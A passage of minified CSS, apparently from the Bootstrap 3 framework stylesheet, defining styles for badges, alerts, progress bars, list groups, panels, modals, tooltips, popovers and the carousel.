5px}a.badge:focus,a.badge:hover{color:#fff;text-decoration:none;cursor:pointer}.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#337ab7;background-color:#fff}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}.nav-pills>li>a>.badge{margin-left:3px}.jumbotron{padding-top:30px;padding-bottom:30px;margin-bottom:30px;color:inherit;background-color:#eee}.jumbotron .h1,.jumbotron h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:21px;font-weight:200}.jumbotron>hr{border-top-color:#d5d5d5}.container .jumbotron,.container-fluid .jumbotron{padding-right:15px;padding-left:15px;border-radius:6px}.jumbotron .container{max-width:100%}@media screen and (min-width:768px){.jumbotron{padding-top:48px;padding-bottom:48px}.container .jumbotron,.container-fluid .jumbotron{padding-right:60px;padding-left:60px}.jumbotron .h1,.jumbotron h1{font-size:63px}}.thumbnail{display:block;padding:4px;margin-bottom:20px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:border .2s ease-in-out;-o-transition:border .2s ease-in-out;transition:border .2s ease-in-out}.thumbnail a>img,.thumbnail>img{margin-right:auto;margin-left:auto}a.thumbnail.active,a.thumbnail:focus,a.thumbnail:hover{border-color:#337ab7}.thumbnail .caption{padding:9px;color:#333}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:700}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable,.alert-dismissible{padding-right:35px}.alert-dismissable .close,.alert-dismissible .close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.alert-success hr{border-top-color:#c9e2b3}.alert-success .alert-link{color:#2b542c}.alert-info{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.alert-info hr{border-top-color:#a6e1ec}.alert-info .alert-link{color:#245269}.alert-warning{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.alert-warning hr{border-top-color:#f7e1b5}.alert-warning .alert-link{color:#66512c}.alert-danger{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.alert-danger hr{border-top-color:#e4b9c0}.alert-danger .alert-link{color:#843534}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.progress-bar{float:left;width:0;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#337ab7;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-webkit-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.progress-bar-striped,.progress-striped .progress-bar{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;background-size:40px 40px}.progress-bar.active,.progress.active .progress-bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#5cb85c}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-info{background-color:#5bc0de}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-warning{background-color:#f0ad4e}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-danger{background-color:#d9534f}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media,.media-body{overflow:hidden;zoom:1}.media-body{width:10000px}.media-object{display:block}.media-object.img-thumbnail{max-width:none}.media-right,.media>.pull-right{padding-left:10px}.media-left,.media>.pull-left{padding-right:10px}.media-body,.media-left,.media-right{display:table-cell;vertical-align:top}.media-middle{vertical-align:middle}.media-bottom{vertical-align:bottom}.media-heading{margin-top:0;margin-bottom:5px}.media-list{padding-left:0;list-style:none}.list-group{padding-left:0;margin-bottom:20px}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#fff;border:1px solid #ddd}.list-group-item:first-child{border-top-left-radius:4px;border-top-right-radius:4px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}a.list-group-item,button.list-group-item{color:#555}a.list-group-item .list-group-item-heading,button.list-group-item .list-group-item-heading{color:#333}a.list-group-item:focus,a.list-group-item:hover,button.list-group-item:focus,button.list-group-item:hover{color:#555;text-decoration:none;background-color:#f5f5f5}button.list-group-item{width:100%;text-align:left}.list-group-item.disabled,.list-group-item.disabled:focus,.list-group-item.disabled:hover{color:#777;cursor:not-allowed;background-color:#eee}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading{color:inherit}.list-group-item.disabled .list-group-item-text,.list-group-item.disabled:focus .list-group-item-text,.list-group-item.disabled:hover .list-group-item-text{color:#777}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{z-index:2;color:#fff;background-color:#337ab7;border-color:#337ab7}.list-group-item.active .list-group-item-heading,.list-group-item.active .list-group-item-heading>.small,.list-group-item.active .list-group-item-heading>small,.list-group-item.active:focus .list-group-item-heading,.list-group-item.active:focus .list-group-item-heading>.small,.list-group-item.active:focus .list-group-item-heading>small,.list-group-item.active:hover .list-group-item-heading,.list-group-item.active:hover .list-group-item-heading>.small,.list-group-item.active:hover .list-group-item-heading>small{color:inherit}.list-group-item.active .list-group-item-text,.list-group-item.active:focus .list-group-item-text,.list-group-item.active:hover .list-group-item-text{color:#c7ddef}.list-group-item-success{color:#3c763d;background-color:#dff0d8}a.list-group-item-success,button.list-group-item-success{color:#3c763d}a.list-group-item-success .list-group-item-heading,button.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:focus,a.list-group-item-success:hover,button.list-group-item-success:focus,button.list-group-item-success:hover{color:#3c763d;background-color:#d0e9c6}a.list-group-item-success.active,a.list-group-item-success.active:focus,a.list-group-item-success.active:hover,button.list-group-item-success.active,button.list-group-item-success.active:focus,button.list-group-item-success.active:hover{color:#fff;background-color:#3c763d;border-color:#3c763d}.list-group-item-info{color:#31708f;background-color:#d9edf7}a.list-group-item-info,button.list-group-item-info{color:#31708f}a.list-group-item-info .list-group-item-heading,button.list-group-item-info .list-group-item-heading{color:inherit}a.list-group-item-info:focus,a.list-group-item-info:hover,button.list-group-item-info:focus,button.list-group-item-info:hover{color:#31708f;background-color:#c4e3f3}a.list-group-item-info.active,a.list-group-item-info.active:focus,a.list-group-item-info.active:hover,button.list-group-item-info.active,button.list-group-item-info.active:focus,button.list-group-item-info.active:hover{color:#fff;background-color:#31708f;border-color:#31708f}.list-group-item-warning{color:#8a6d3b;background-color:#fcf8e3}a.list-group-item-warning,button.list-group-item-warning{color:#8a6d3b}a.list-group-item-warning .list-group-item-heading,button.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:focus,a.list-group-item-warning:hover,button.list-group-item-warning:focus,button.list-group-item-warning:hover{color:#8a6d3b;background-color:#faf2cc}a.list-group-item-warning.active,a.list-group-item-warning.active:focus,a.list-group-item-warning.active:hover,button.list-group-item-warning.active,button.list-group-item-warning.active:focus,button.list-group-item-warning.active:hover{color:#fff;background-color:#8a6d3b;border-color:#8a6d3b}.list-group-item-danger{color:#a94442;background-color:#f2dede}a.list-group-item-danger,button.list-group-item-danger{color:#a94442}a.list-group-item-danger .list-group-item-heading,button.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:focus,a.list-group-item-danger:hover,button.list-group-item-danger:focus,button.list-group-item-danger:hover{color:#a94442;background-color:#ebcccc}a.list-group-item-danger.active,a.list-group-item-danger.active:focus,a.list-group-item-danger.active:hover,button.list-group-item-danger.active,button.list-group-item-danger.active:focus,button.list-group-item-danger.active:hover{color:#fff;background-color:#a94442;border-color:#a94442}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.panel-body{padding:15px}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-left-radius:3px;border-top-right-radius:3px}.panel-heading>.dropdown .dropdown-toggle{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:16px;color:inherit}.panel-title>.small,.panel-title>.small>a,.panel-title>a,.panel-title>small,.panel-title>small>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.list-group,.panel>.panel-collapse>.list-group{margin-bottom:0}.panel>.list-group .list-group-item,.panel>.panel-collapse>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child,.panel>.panel-collapse>.list-group:first-child .list-group-item:first-child{border-top:0;border-top-left-radius:3px;border-top-right-radius:3px}.panel>.list-group:last-child .list-group-item:last-child,.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.panel-heading+.panel-collapse>.list-group .list-group-item:first-child{border-top-left-radius:0;border-top-right-radius:0}.panel-heading+.list-group .list-group-item:first-child{border-top-width:0}.list-group+.panel-footer{border-top-width:0}.panel>.panel-collapse>.table,.panel>.table,.panel>.table-responsive>.table{margin-bottom:0}.panel>.panel-collapse>.table caption,.panel>.table caption,.panel>.table-responsive>.table caption{padding-right:15px;padding-left:15px}.panel>.table-responsive:first-child>.table:first-child,.panel>.table:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child,.panel>.table:first-child>thead:first-child>tr:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child{border-top-left-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child{border-top-right-radius:3px}.panel>.table-responsive:last-child>.table:last-child,.panel>.table:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:3px}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive,.panel>.table+.panel-body,.panel>.table-responsive+.panel-body{border-top:1px solid #ddd}.panel>.table>tbody:first-child>tr:first-child td,.panel>.table>tbody:first-child>tr:first-child th{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>tbody>tr:first-child>th,.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th{border-bottom:0}.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}.panel>.table-responsive{margin-bottom:0;border:0}.panel-group{margin-bottom:20px}.panel-group .panel{margin-bottom:0;border-radius:4px}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse>.list-group,.panel-group .panel-heading+.panel-collapse>.panel-body{border-top:1px solid #ddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #ddd}.panel-default{border-color:#ddd}.panel-default>.panel-heading{color:#333;background-color:#f5f5f5;border-color:#ddd}.panel-default>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ddd}.panel-default>.panel-heading .badge{color:#f5f5f5;background-color:#333}.panel-default>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ddd}.panel-primary{border-color:#337ab7}.panel-primary>.panel-heading{color:#fff;background-color:#337ab7;border-color:#337ab7}.panel-primary>.panel-heading+.panel-collapse>.panel-body{border-top-color:#337ab7}.panel-primary>.panel-heading .badge{color:#337ab7;background-color:#fff}.panel-primary>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#337ab7}.panel-success{border-color:#d6e9c6}.panel-success>.panel-heading{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.panel-success>.panel-heading+.panel-collapse>.panel-body{border-top-color:#d6e9c6}.panel-success>.panel-heading .badge{color:#dff0d8;background-color:#3c763d}.panel-success>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#d6e9c6}.panel-info{border-color:#bce8f1}.panel-info>.panel-heading{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.panel-info>.panel-heading+.panel-collapse>.panel-body{border-top-color:#bce8f1}.panel-info>.panel-heading .badge{color:#d9edf7;background-color:#31708f}.panel-info>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#bce8f1}.panel-warning{border-color:#faebcc}.panel-warning>.panel-heading{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.panel-warning>.panel-heading+.panel-collapse>.panel-body{border-top-color:#faebcc}.panel-warning>.panel-heading .badge{color:#fcf8e3;background-color:#8a6d3b}.panel-warning>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#faebcc}.panel-danger{border-color:#ebccd1}.panel-danger>.panel-heading{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.panel-danger>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ebccd1}.panel-danger>.panel-heading .badge{color:#f2dede;background-color:#a94442}.panel-danger>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ebccd1}.embed-responsive{position:relative;display:block;height:0;padding:0;overflow:hidden}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-16by9{padding-bottom:56.25%}.embed-responsive-4by3{padding-bottom:75%}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,.15)}.well-lg{padding:24px;border-radius:6px}.well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;filter:alpha(opacity=20);opacity:.2}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;filter:alpha(opacity=50);opacity:.5}button.close{-webkit-appearance:none;padding:0;cursor:pointer;background:0 0;border:0}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out;-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);-o-transform:translate(0,-25%);transform:translate(0,-25%)}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);-o-transform:translate(0,0);transform:translate(0,0)}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5)}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{filter:alpha(opacity=0);opacity:0}.modal-backdrop.in{filter:alpha(opacity=50);opacity:.5}.modal-header{padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857143}.modal-body{position:relative;padding:15px}.modal-footer{padding:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}.modal-sm{width:300px}}@media (min-width:992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1070;display:block;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:12px;font-style:normal;font-weight:400;line-height:1.42857143;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;filter:alpha(opacity=0);opacity:0;line-break:auto}.tooltip.in{filter:alpha(opacity=90);opacity:.9}.tooltip.top{padding:5px 0;margin-top:-3px}.tooltip.right{padding:0 5px;margin-left:3px}.tooltip.bottom{padding:5px 0;margin-top:3px}.tooltip.left{padding:0 5px;margin-left:-3px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;background-color:#000;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-left .tooltip-arrow{right:5px;bottom:0;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-right .tooltip-arrow{bottom:0;left:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-left .tooltip-arrow{top:0;right:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-right .tooltip-arrow{top:0;left:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.popover{position:absolute;top:0;left:0;z-index:1060;display:none;max-width:276px;padding:1px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;font-style:normal;font-weight:400;line-height:1.42857143;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);line-break:auto}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover-title{padding:8px 14px;margin:0;font-size:14px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow{border-width:11px}.popover>.arrow:after{content:"";border-width:10px}.popover.top>.arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0,0,0,.25);border-bottom-width:0}.popover.top>.arrow:after{bottom:1px;margin-left:-10px;content:" ";border-top-color:#fff;border-bottom-width:0}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0,0,0,.25);border-left-width:0}.popover.right>.arrow:after{bottom:-10px;left:1px;content:" ";border-right-color:#fff;border-left-width:0}.popover.bottom>.arrow{top:-11px;left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,.25)}.popover.bottom>.arrow:after{top:1px;margin-left:-10px;content:" ";border-top-width:0;border-bottom-color:#fff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999;border-left-color:rgba(0,0,0,.25)}.popover.left>.arrow:after{right:1px;bottom:-10px;content:" ";border-right-width:0;border-left-color:#fff}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner>.item{position:relative;display:none;-webkit-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel-inner>.item>a>img,.carousel-inner>.item>img{line-height:1}@media all and (transform-3d),(-webkit-transform-3d){.carousel-inner>.item{-webkit-transition:-webkit-transform .6s ease-in-out;-o-transition:-o-transform .6s ease-in-out;transition:transform .6s ease-in-out;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}.carousel-inner>.item.active.right,.carousel-inner>.item.next{left:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.carousel-inner>.item.active.left,.carousel-inner>.item.prev{left:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.carousel-inner>.item.active,.carousel-inner>.item.next.left,.carousel-inner>.item.prev.right{left:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;bottom:0;left:0;width:15%;font-size:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6);background-color:rgba(0,0,0,0);filter:alpha(opacity=50);opacity:.5}.carousel-control.left{background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,.0001)));background-image:linear-gradient(to right,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 